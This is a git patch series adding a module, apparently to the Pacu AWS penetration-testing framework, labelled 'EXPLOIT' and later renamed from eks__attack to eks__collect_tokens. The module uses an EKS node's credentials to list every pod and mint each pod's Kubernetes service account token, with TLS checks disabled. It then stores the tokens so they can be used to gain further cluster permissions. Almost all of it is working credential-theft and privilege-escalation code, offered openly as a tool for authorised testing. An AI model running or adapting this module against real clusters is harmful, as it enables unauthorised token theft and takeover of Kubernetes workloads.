From f69da982a7a1b308de68f9e993c6ad47d9fa1fd5 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 21 Jun 2024 16:42:08 +0100 Subject: [PATCH 1/6] Simple POC to extract service account tokens of running pods in the node --- pacu/modules/eks__attack/__init__.py | 0 pacu/modules/eks__attack/main.py | 198 +++++++++++++++++++++++++++ 2 files changed, 198 insertions(+) create mode 100755 pacu/modules/eks__attack/__init__.py create mode 100755 pacu/modules/eks__attack/main.py diff --git a/pacu/modules/eks__attack/__init__.py b/pacu/modules/eks__attack/__init__.py new file mode 100755 index 00000000..e69de29b diff --git a/pacu/modules/eks__attack/main.py b/pacu/modules/eks__attack/main.py new file mode 100755 index 00000000..697450ed --- /dev/null +++ b/pacu/modules/eks__attack/main.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +import argparse +import json +import requests +from botocore.exceptions import ClientError +from botocore import session as botocore_session +# Used to generate eks authentication token +from awscli.customizations.eks.get_token import STSClientFactory, TokenGenerator + + +# TODO look for cluster stored in database + + +# When writing a module, feel free to remove any comments, placeholders, or +# anything else that doesn't relate to your module. + +module_info = { + 'name': 'eks__exploit_extract_token', + 'author': 'Roshan Guragain', + 'category': 'EXPLOIT', + 'one_liner': 'This modules gets all the service account tokens of pods running on a node in EKS.', + 'description': '''This modules gets all the service account tokens of pods running on a node in EKS. + The tokens can be later used to gain other permissions in the EKS cluster.''', + 'services': ['EKS'], + 'prerequisite_modules': [], + 'external_dependencies': [], + 'arguments_to_autocomplete': ['--regions'], +} + +# Added to reduce the warnings shown on the screen +requests.packages.urllib3.disable_warnings() + +parser = argparse.ArgumentParser(add_help=False, description=module_info['description']) +parser.add_argument('--regions', required=False, default=None, help='The region in which cluster is running on.') +parser.add_argument('--cluster_name', required=True, default=None, help='The cluster name from which service account tokens of pods are to be extracted from') + + +class Pod: + ''' + Sample Pod object with name, uid, node_name and serviceAccountToken attached to the pod + ''' + def __init__(self, uid, name, node_name, service_account_name, namespace, arn=None): + self.name = name + self.uid = uid + self.node_name = node_name + self.service_account_name = service_account_name + self.namespace = namespace + self.arn = arn + self.service_account_token = "" + + def __str__(self): + return f"{self.name} \t {self.node_name} \t {self.service_account_name}" + + +class Communicator: + ''' + Class to create object to communicate with the api server + ''' + def __init__(self, server, token): + self.server = server + self.token = token + self.pods = self.parse_pod_list(self.get_pods()) + self.node_name = "" + + def get_pods(self): + ''' + Calls the API server to get all the pods + ''' + url = self.server + "/api/v1/pods" + header = {"Authorization": f"Bearer {self.token}"} + r = requests.get(url, headers=header, verify=False, timeout=5) + if r.status_code != 200: + print("Check token validity or server information") + response = r.json() + return response + + def parse_pod_list(self, pod_list): + ''' + Gets a list of pods as a dictionary + and returns a pod object + ''' + all_pods_obj = [] + for pod in pod_list['items']: + name = pod['metadata']['name'] + uid = pod['metadata']['uid'] + namespace = pod['metadata']['namespace'] + node_name = pod['spec']['nodeName'] + service_account_name = pod['spec']['serviceAccountName'] + arn = None + for container in pod['spec']['containers']: + if 'env' not in container.keys(): + break + for env in container['env']: + if 'AWS_ROLE_ARN' == env['name']: + arn = env['value'] + pod_obj = Pod(uid=uid, name=name, node_name=node_name, service_account_name=service_account_name, namespace=namespace, arn=arn) + all_pods_obj.append(pod_obj) + return all_pods_obj + + def get_sa_token(self, pod): + ''' + Assuming the pod has access to metadata in eks + ''' + if pod.service_account_name == 'default': + return + url = self.server + f"/api/v1/namespaces/{pod.namespace}/serviceaccounts/{pod.service_account_name}/token" + header = {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} + data = { + "spec": { + "audiences": None, + "expirationSeconds": None, + "boundObjectRef": { + "kind": "Pod", + "apiVersion": "v1", + "name": pod.name, + "uid": pod.uid + } + } + } + response = requests.post(url, headers=header, data=json.dumps(data), verify=False, timeout=5) + response_json = response.json() + token = response_json['status']['token'] + pod.service_account_token = token + print(f"Token created for SA {pod.service_account_name} \n {token}\n\n\n") + return token + + def get_all_tokens(self): + ''' + Get service account token of pods in the node + ''' + for pod in self.pods: + self.get_sa_token(pod) + + +# Main is the first function that is called when this module is executed. +def main(args, pacu_main): + # session = pacu_main.get_active_session() + + args = parser.parse_args(args) + # print = pacu_main.print + # input = pacu_main.input + # key_info = pacu_main.key_info + # fetch_data = pacu_main.fetch_data + get_regions = pacu_main.get_regions + + cluster_name = args.cluster_name + # cluster_name = 'demo-eks' + + if args.regions is None: + regions = get_regions('eks') + if regions is None or regions == [] or regions == '' or regions == {}: + print('This module is not supported in any regions specified in the current sessions region set. Exiting...') + return + else: + regions = args.regions.split(',') + + boto_session = botocore_session.get_session() + + region = 'us-east-1' + eks_token = get_eks_node_token(boto_session, cluster_name) + + # get information about current cluster , # todo use the already found clusters + eks_client = pacu_main.get_boto3_client('eks', region) + cluster_information = eks_client.describe_cluster(name=cluster_name) + + # get cluster-endpoint to use later + cluster_endpoint = cluster_information['cluster']['endpoint'] + + a = Communicator(cluster_endpoint, eks_token) + a.get_all_tokens() + + return {"Eks-Token": eks_token} + + +def get_eks_node_token(session, cluster_name, region=None): + ''' + Get token for a node to authenticate with kubernetes cluster + ''' + # taken from https://github.com/peak-ai/eks-token/blob/main/eks_token/logics.py + factory = STSClientFactory(session) + token = TokenGenerator(factory.get_sts_client(region_name=region)).get_token(cluster_name) + return token + + +# The summary function will be called by Pacu after running main, and will be +# passed the data returned from main. It should return a single string +# containing a curated summary of every significant thing that the module did, +# whether successful or not; or None if the module exited early and made no +# changes that warrant a summary being displayed. The data parameter can +# contain whatever data is needed in any structure desired. A length limit ofa +# 1000 characters is enforced on strings returned by module summary functions. +def summary(data, pacu_main): + # need proper output + if 'Eks-Token' in data.keys(): + return 'EKS token for a node found' + else: + return 'EKS token not found' + From 1522bdbbd39f12a854633a635b9be24a9dee423c Mon Sep 17 00:00:00 2001 From: root Date: Mon, 24 Jun 2024 12:56:57 +0100 Subject: [PATCH 2/6] Added multiple region parsing. Used boto session from pacu. Summary returns EKS endpoint --- pacu/modules/eks__attack/main.py | 50 +++++++++++++++++++------------- 1 file changed, 30 insertions(+), 20 deletions(-) diff --git a/pacu/modules/eks__attack/main.py b/pacu/modules/eks__attack/main.py index 697450ed..ff717d9d 100755 --- a/pacu/modules/eks__attack/main.py +++ b/pacu/modules/eks__attack/main.py @@ -3,19 +3,21 @@ import json import requests from botocore.exceptions import ClientError -from botocore import session as botocore_session # Used to generate eks authentication token from awscli.customizations.eks.get_token import STSClientFactory, TokenGenerator -# TODO look for cluster stored in database +# TODO +# look for cluster stored in database +# store data in database +# error handling # When writing a module, feel free to remove any comments, placeholders, or # anything else that doesn't relate to your module. module_info = { - 'name': 'eks__exploit_extract_token', + 'name': 'eks__attack', 'author': 'Roshan Guragain', 'category': 'EXPLOIT', 'one_liner': 'This modules gets all the service account tokens of pods running on a node in EKS.', @@ -129,8 +131,11 @@ def get_all_tokens(self): Get service account token of pods in the node ''' for pod in self.pods: - self.get_sa_token(pod) - + try: + self.get_sa_token(pod) + except Exception as e: + print(f"Pod {pod.name} not in current node. Error: {str(e)}") + # Main is the first function that is called when this module is executed. def main(args, pacu_main): @@ -154,22 +159,28 @@ def main(args, pacu_main): else: regions = args.regions.split(',') - boto_session = botocore_session.get_session() - - region = 'us-east-1' - eks_token = get_eks_node_token(boto_session, cluster_name) + for region in regions: + try: + # error handling missing + boto_session = pacu_main.get_boto_session()._session - # get information about current cluster , # todo use the already found clusters - eks_client = pacu_main.get_boto3_client('eks', region) - cluster_information = eks_client.describe_cluster(name=cluster_name) + eks_token = get_eks_node_token(boto_session, cluster_name, region=region) + # get information about current cluster + eks_client = pacu_main.get_boto3_client('eks', region) + cluster_information = eks_client.describe_cluster(name=cluster_name) - # get cluster-endpoint to use later - cluster_endpoint = cluster_information['cluster']['endpoint'] + # get cluster-endpoint to use later + cluster_endpoint = cluster_information['cluster']['endpoint'] + print(cluster_endpoint) - a = Communicator(cluster_endpoint, eks_token) - a.get_all_tokens() + a = Communicator(cluster_endpoint, eks_token) + a.get_all_tokens() - return {"Eks-Token": eks_token} + data = {"Eks-Token": eks_token, "endpoint": cluster_endpoint} + return data + + except ClientError as error: + print(f"Error: {error}") def get_eks_node_token(session, cluster_name, region=None): @@ -190,9 +201,8 @@ def get_eks_node_token(session, cluster_name, region=None): # contain whatever data is needed in any structure desired. A length limit ofa # 1000 characters is enforced on strings returned by module summary functions. def summary(data, pacu_main): - # need proper output if 'Eks-Token' in data.keys(): - return 'EKS token for a node found' + return f"EKS node token found.Eks Endpoint {data['endpoint']}" else: - return 'EKS token not found' + return "EKS node token not found" From 39b6297b2154a4b574ff9cfde86042a02e982d13 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 10 Jul 2024 12:14:08 +0100 Subject: [PATCH 3/6] Stored pod information in database --- pacu/modules/eks__attack/main.py | 43 +++++++++++++------------------- 1 file changed, 17 insertions(+), 26 deletions(-) diff --git a/pacu/modules/eks__attack/main.py b/pacu/modules/eks__attack/main.py index ff717d9d..b6230e2b 100755 --- a/pacu/modules/eks__attack/main.py +++ b/pacu/modules/eks__attack/main.py @@ -2,6 +2,7 @@ import argparse import json import requests +from copy import deepcopy from botocore.exceptions import ClientError # Used to generate eks authentication token from awscli.customizations.eks.get_token import STSClientFactory, TokenGenerator @@ -11,11 +12,6 @@ # look for cluster stored in database # store data in database # error handling - - -# When writing a module, feel free to remove any comments, placeholders, or -# anything else that doesn't relate to your module. - module_info = { 'name': 'eks__attack', 'author': 'Roshan Guragain', @@ -123,31 +119,33 @@ def get_sa_token(self, pod): response_json = response.json() token = response_json['status']['token'] pod.service_account_token = token - print(f"Token created for SA {pod.service_account_name} \n {token}\n\n\n") + print(f"Token created for SA {pod.service_account_name}") return token - def get_all_tokens(self): + def get_all_pods_with_token(self): ''' Get service account token of pods in the node ''' + all_pod_info = {} for pod in self.pods: try: self.get_sa_token(pod) + all_pod_info[pod.name] = pod.__dict__ except Exception as e: print(f"Pod {pod.name} not in current node. Error: {str(e)}") - + return all_pod_info + # Main is the first function that is called when this module is executed. def main(args, pacu_main): # session = pacu_main.get_active_session() - args = parser.parse_args(args) # print = pacu_main.print # input = pacu_main.input # key_info = pacu_main.key_info # fetch_data = pacu_main.fetch_data get_regions = pacu_main.get_regions - + session = pacu_main.get_active_session() cluster_name = args.cluster_name # cluster_name = 'demo-eks' @@ -174,11 +172,14 @@ def main(args, pacu_main): print(cluster_endpoint) a = Communicator(cluster_endpoint, eks_token) - a.get_all_tokens() - - data = {"Eks-Token": eks_token, "endpoint": cluster_endpoint} - return data - + all_pods = a.get_all_pods_with_token() + + # update EKS data + data = {"Cluster": cluster_name, "endpoint": cluster_endpoint, "Pods": all_pods} + eks_data = deepcopy(session.EKS) + eks_data['eks-attack'] = data + session.update(pacu_main.database, EKS=eks_data) + return eks_data except ClientError as error: print(f"Error: {error}") @@ -193,16 +194,6 @@ def get_eks_node_token(session, cluster_name, region=None): return token -# The summary function will be called by Pacu after running main, and will be -# passed the data returned from main. It should return a single string -# containing a curated summary of every significant thing that the module did, -# whether successful or not; or None if the module exited early and made no -# changes that warrant a summary being displayed. The data parameter can -# contain whatever data is needed in any structure desired. A length limit ofa -# 1000 characters is enforced on strings returned by module summary functions. def summary(data, pacu_main): - if 'Eks-Token' in data.keys(): - return f"EKS node token found.Eks Endpoint {data['endpoint']}" - else: - return "EKS node token not found" + return "Run \"data eks\" to view the data" From 2f589ae3614da745934d1c4d0d562bc3e98e3f55 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 16 Jul 2024 16:34:40 +0100 Subject: [PATCH 4/6] added credits --- pacu/modules/eks__attack/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pacu/modules/eks__attack/main.py b/pacu/modules/eks__attack/main.py index b6230e2b..70a4c990 100755 --- a/pacu/modules/eks__attack/main.py +++ b/pacu/modules/eks__attack/main.py @@ -18,7 +18,7 @@ 'category': 'EXPLOIT', 'one_liner': 'This modules gets all the service account tokens of pods running on a node in EKS.', 'description': '''This modules gets all the service account tokens of pods running on a node in EKS. - The tokens can be later used to gain other permissions in the EKS cluster.''', + The tokens can be later used to gain other permissions in the EKS cluster. Credits : https://blog.calif.io/p/privilege-escalation-in-eks''', 'services': ['EKS'], 'prerequisite_modules': [], 'external_dependencies': [], From 191aaa1b23400665399ddf7ee919e57a767a96d4 Mon Sep 17 00:00:00 2001 From: roshan guragain Date: Thu, 8 Aug 2024 13:51:27 +0100 Subject: [PATCH 5/6] Modified module name --- pacu/modules/eks__collect_tokens/__init__.py | 0 pacu/modules/eks__collect_tokens/main.py | 199 +++++++++++++++++++ 2 files changed, 199 insertions(+) create mode 100755 pacu/modules/eks__collect_tokens/__init__.py create mode 100755 pacu/modules/eks__collect_tokens/main.py diff --git a/pacu/modules/eks__collect_tokens/__init__.py b/pacu/modules/eks__collect_tokens/__init__.py new file mode 100755 index 00000000..e69de29b diff --git a/pacu/modules/eks__collect_tokens/main.py b/pacu/modules/eks__collect_tokens/main.py new file mode 100755 index 00000000..2cf94c61 --- /dev/null +++ b/pacu/modules/eks__collect_tokens/main.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python3 +import argparse +import json +import requests +from copy import deepcopy +from botocore.exceptions import ClientError +# Used to generate eks authentication token +from awscli.customizations.eks.get_token import STSClientFactory, TokenGenerator + + +# TODO +# look for cluster stored in database +# store data in database +# error handling +module_info = { + 'name': 'eks__collect_tokens', + 'author': 'Roshan Guragain', + 'category': 'EXPLOIT', + 'one_liner': 'This modules gets all the service account tokens of pods running on a node in EKS.', + 'description': '''This modules gets all the service account tokens of pods running on a node in EKS. + The tokens can be later used to gain other permissions in the EKS cluster. Credits : https://blog.calif.io/p/privilege-escalation-in-eks''', + 'services': ['EKS'], + 'prerequisite_modules': [], + 'external_dependencies': [], + 'arguments_to_autocomplete': ['--regions'], +} + +# Added to reduce the warnings shown on the screen +requests.packages.urllib3.disable_warnings() + +parser = argparse.ArgumentParser(add_help=False, description=module_info['description']) +parser.add_argument('--regions', required=False, default=None, help='The region in which cluster is running on.') +parser.add_argument('--cluster_name', required=True, default=None, help='The cluster name from which service account tokens of pods are to be extracted from') + + +class Pod: + ''' + Sample Pod object with name, uid, node_name and serviceAccountToken attached to the pod + ''' + def __init__(self, uid, name, node_name, service_account_name, namespace, arn=None): + self.name = name + self.uid = uid + self.node_name = node_name + self.service_account_name = service_account_name + self.namespace = namespace + self.arn = arn + self.service_account_token = "" + + def __str__(self): + return f"{self.name} \t {self.node_name} \t {self.service_account_name}" + + +class Communicator: + ''' + Class to create object to communicate with the api server + ''' + def __init__(self, server, token): + self.server = server + self.token = token + self.pods = self.parse_pod_list(self.get_pods()) + self.node_name = "" + + def get_pods(self): + ''' + Calls the API server to get all the pods + ''' + url = self.server + "/api/v1/pods" + header = {"Authorization": f"Bearer {self.token}"} + r = requests.get(url, headers=header, verify=False, timeout=5) + if r.status_code != 200: + print("Check token validity or server information") + response = r.json() + return response + + def parse_pod_list(self, pod_list): + ''' + Gets a list of pods as a dictionary + and returns a pod object + ''' + all_pods_obj = [] + for pod in pod_list['items']: + name = pod['metadata']['name'] + uid = pod['metadata']['uid'] + namespace = pod['metadata']['namespace'] + node_name = pod['spec']['nodeName'] + service_account_name = pod['spec']['serviceAccountName'] + arn = None + for container in pod['spec']['containers']: + if 'env' not in container.keys(): + break + for env in container['env']: + if 'AWS_ROLE_ARN' == env['name']: + arn = env['value'] + pod_obj = Pod(uid=uid, name=name, node_name=node_name, service_account_name=service_account_name, namespace=namespace, arn=arn) + all_pods_obj.append(pod_obj) + return all_pods_obj + + def get_sa_token(self, pod): + ''' + Assuming the pod has access to metadata in eks + ''' + if pod.service_account_name == 'default': + return + url = self.server + f"/api/v1/namespaces/{pod.namespace}/serviceaccounts/{pod.service_account_name}/token" + header = {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} + data = { + "spec": { + "audiences": None, + "expirationSeconds": None, + "boundObjectRef": { + "kind": "Pod", + "apiVersion": "v1", + "name": pod.name, + "uid": pod.uid + } + } + } + response = requests.post(url, headers=header, data=json.dumps(data), verify=False, timeout=5) + response_json = response.json() + token = response_json['status']['token'] + pod.service_account_token = token + print(f"Token created for SA {pod.service_account_name}") + return token + + def get_all_pods_with_token(self): + ''' + Get service account token of pods in the node + ''' + all_pod_info = {} + for pod in self.pods: + try: + self.get_sa_token(pod) + all_pod_info[pod.name] = pod.__dict__ + except Exception as e: + print(f"Pod {pod.name} not in current node. Error: {str(e)}") + return all_pod_info + + +# Main is the first function that is called when this module is executed. +def main(args, pacu_main): + # session = pacu_main.get_active_session() + args = parser.parse_args(args) + # print = pacu_main.print + # input = pacu_main.input + # key_info = pacu_main.key_info + # fetch_data = pacu_main.fetch_data + get_regions = pacu_main.get_regions + session = pacu_main.get_active_session() + cluster_name = args.cluster_name + # cluster_name = 'demo-eks' + + if args.regions is None: + regions = get_regions('eks') + if regions is None or regions == [] or regions == '' or regions == {}: + print('This module is not supported in any regions specified in the current sessions region set. Exiting...') + return + else: + regions = args.regions.split(',') + + for region in regions: + try: + # error handling missing + boto_session = pacu_main.get_boto_session()._session + + eks_token = get_eks_node_token(boto_session, cluster_name, region=region) + # get information about current cluster + eks_client = pacu_main.get_boto3_client('eks', region) + cluster_information = eks_client.describe_cluster(name=cluster_name) + + # get cluster-endpoint to use later + cluster_endpoint = cluster_information['cluster']['endpoint'] + print(cluster_endpoint) + + a = Communicator(cluster_endpoint, eks_token) + all_pods = a.get_all_pods_with_token() + + # update EKS data + data = {"Cluster": cluster_name, "endpoint": cluster_endpoint, "Pods": all_pods} + eks_data = deepcopy(session.EKS) + eks_data['eks-attack'] = data + session.update(pacu_main.database, EKS=eks_data) + return eks_data + except ClientError as error: + print(f"Error: {error}") + + +def get_eks_node_token(session, cluster_name, region=None): + ''' + Get token for a node to authenticate with kubernetes cluster + ''' + # taken from https://github.com/peak-ai/eks-token/blob/main/eks_token/logics.py + factory = STSClientFactory(session) + token = TokenGenerator(factory.get_sts_client(region_name=region)).get_token(cluster_name) + return token + + +def summary(data, pacu_main): + return "Run \"data eks\" to view the data" + From 05cdc1f33a77293b384cd52da140051096b3b39e Mon Sep 17 00:00:00 2001 From: roshan guragain Date: Thu, 8 Aug 2024 13:52:29 +0100 Subject: [PATCH 6/6] Removed the old directory --- pacu/modules/eks__attack/__init__.py | 0 pacu/modules/eks__attack/main.py | 199 --------------------------- 2 files changed, 199 deletions(-) delete mode 100755 pacu/modules/eks__attack/__init__.py delete mode 100755 pacu/modules/eks__attack/main.py diff --git a/pacu/modules/eks__attack/__init__.py b/pacu/modules/eks__attack/__init__.py deleted file mode 100755 index e69de29b..00000000 diff --git a/pacu/modules/eks__attack/main.py b/pacu/modules/eks__attack/main.py deleted file mode 100755 index 70a4c990..00000000 --- a/pacu/modules/eks__attack/main.py +++ /dev/null @@ -1,199 +0,0 @@ -#!/usr/bin/env python3 -import argparse -import json -import requests -from copy import deepcopy -from botocore.exceptions import ClientError -# Used to generate eks authentication token -from awscli.customizations.eks.get_token import STSClientFactory, TokenGenerator - - -# TODO -# look for cluster stored in database -# store data in database -# error handling -module_info = { - 'name': 'eks__attack', - 'author': 'Roshan Guragain', - 'category': 'EXPLOIT', - 'one_liner': 'This modules gets all the service account tokens of pods running on a node in EKS.', - 'description': '''This modules gets all the service account tokens of pods running on a node in EKS. - The tokens can be later used to gain other permissions in the EKS cluster. Credits : https://blog.calif.io/p/privilege-escalation-in-eks''', - 'services': ['EKS'], - 'prerequisite_modules': [], - 'external_dependencies': [], - 'arguments_to_autocomplete': ['--regions'], -} - -# Added to reduce the warnings shown on the screen -requests.packages.urllib3.disable_warnings() - -parser = argparse.ArgumentParser(add_help=False, description=module_info['description']) -parser.add_argument('--regions', required=False, default=None, help='The region in which cluster is running on.') -parser.add_argument('--cluster_name', required=True, default=None, help='The cluster name from which service account tokens of pods are to be extracted from') - - -class Pod: - ''' - Sample Pod object with name, uid, node_name and serviceAccountToken attached to the pod - ''' - def __init__(self, uid, name, node_name, service_account_name, namespace, arn=None): - self.name = name - self.uid = uid - self.node_name = node_name - self.service_account_name = service_account_name - self.namespace = namespace - self.arn = arn - self.service_account_token = "" - - def __str__(self): - return f"{self.name} \t {self.node_name} \t {self.service_account_name}" - - -class Communicator: - ''' - Class to create object to communicate with the api server - ''' - def __init__(self, server, token): - self.server = server - self.token = token - self.pods = self.parse_pod_list(self.get_pods()) - self.node_name = "" - - def get_pods(self): - ''' - Calls the API server to get all the pods - ''' - url = self.server + "/api/v1/pods" - header = {"Authorization": f"Bearer {self.token}"} - r = requests.get(url, headers=header, verify=False, timeout=5) - if r.status_code != 200: - print("Check token validity or server information") - response = r.json() - return response - - def parse_pod_list(self, pod_list): - ''' - Gets a list of pods as a dictionary - and returns a pod object - ''' - all_pods_obj = [] - for pod in pod_list['items']: - name = pod['metadata']['name'] - uid = pod['metadata']['uid'] - namespace = pod['metadata']['namespace'] - node_name = pod['spec']['nodeName'] - service_account_name = pod['spec']['serviceAccountName'] - arn = None - for container in pod['spec']['containers']: - if 'env' not in container.keys(): - break - for env in container['env']: - if 'AWS_ROLE_ARN' == env['name']: - arn = env['value'] - pod_obj = Pod(uid=uid, name=name, node_name=node_name, service_account_name=service_account_name, namespace=namespace, arn=arn) - all_pods_obj.append(pod_obj) - return all_pods_obj - - def get_sa_token(self, pod): - ''' - Assuming the pod has access to metadata in eks - ''' - if pod.service_account_name == 'default': - return - url = self.server + f"/api/v1/namespaces/{pod.namespace}/serviceaccounts/{pod.service_account_name}/token" - header = {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"} - data = { - "spec": { - "audiences": None, - "expirationSeconds": None, - "boundObjectRef": { - "kind": "Pod", - "apiVersion": "v1", - "name": pod.name, - "uid": pod.uid - } - } - } - response = requests.post(url, headers=header, data=json.dumps(data), verify=False, timeout=5) - response_json = response.json() - token = response_json['status']['token'] - pod.service_account_token = token - print(f"Token created for SA {pod.service_account_name}") - return token - - def get_all_pods_with_token(self): - ''' - Get service account token of pods in the node - ''' - all_pod_info = {} - for pod in self.pods: - try: - self.get_sa_token(pod) - all_pod_info[pod.name] = pod.__dict__ - except Exception as e: - print(f"Pod {pod.name} not in current node. Error: {str(e)}") - return all_pod_info - - -# Main is the first function that is called when this module is executed. -def main(args, pacu_main): - # session = pacu_main.get_active_session() - args = parser.parse_args(args) - # print = pacu_main.print - # input = pacu_main.input - # key_info = pacu_main.key_info - # fetch_data = pacu_main.fetch_data - get_regions = pacu_main.get_regions - session = pacu_main.get_active_session() - cluster_name = args.cluster_name - # cluster_name = 'demo-eks' - - if args.regions is None: - regions = get_regions('eks') - if regions is None or regions == [] or regions == '' or regions == {}: - print('This module is not supported in any regions specified in the current sessions region set. Exiting...') - return - else: - regions = args.regions.split(',') - - for region in regions: - try: - # error handling missing - boto_session = pacu_main.get_boto_session()._session - - eks_token = get_eks_node_token(boto_session, cluster_name, region=region) - # get information about current cluster - eks_client = pacu_main.get_boto3_client('eks', region) - cluster_information = eks_client.describe_cluster(name=cluster_name) - - # get cluster-endpoint to use later - cluster_endpoint = cluster_information['cluster']['endpoint'] - print(cluster_endpoint) - - a = Communicator(cluster_endpoint, eks_token) - all_pods = a.get_all_pods_with_token() - - # update EKS data - data = {"Cluster": cluster_name, "endpoint": cluster_endpoint, "Pods": all_pods} - eks_data = deepcopy(session.EKS) - eks_data['eks-attack'] = data - session.update(pacu_main.database, EKS=eks_data) - return eks_data - except ClientError as error: - print(f"Error: {error}") - - -def get_eks_node_token(session, cluster_name, region=None): - ''' - Get token for a node to authenticate with kubernetes cluster - ''' - # taken from https://github.com/peak-ai/eks-token/blob/main/eks_token/logics.py - factory = STSClientFactory(session) - token = TokenGenerator(factory.get_sts_client(region_name=region)).get_token(cluster_name) - return token - - -def summary(data, pacu_main): - return "Run \"data eks\" to view the data" -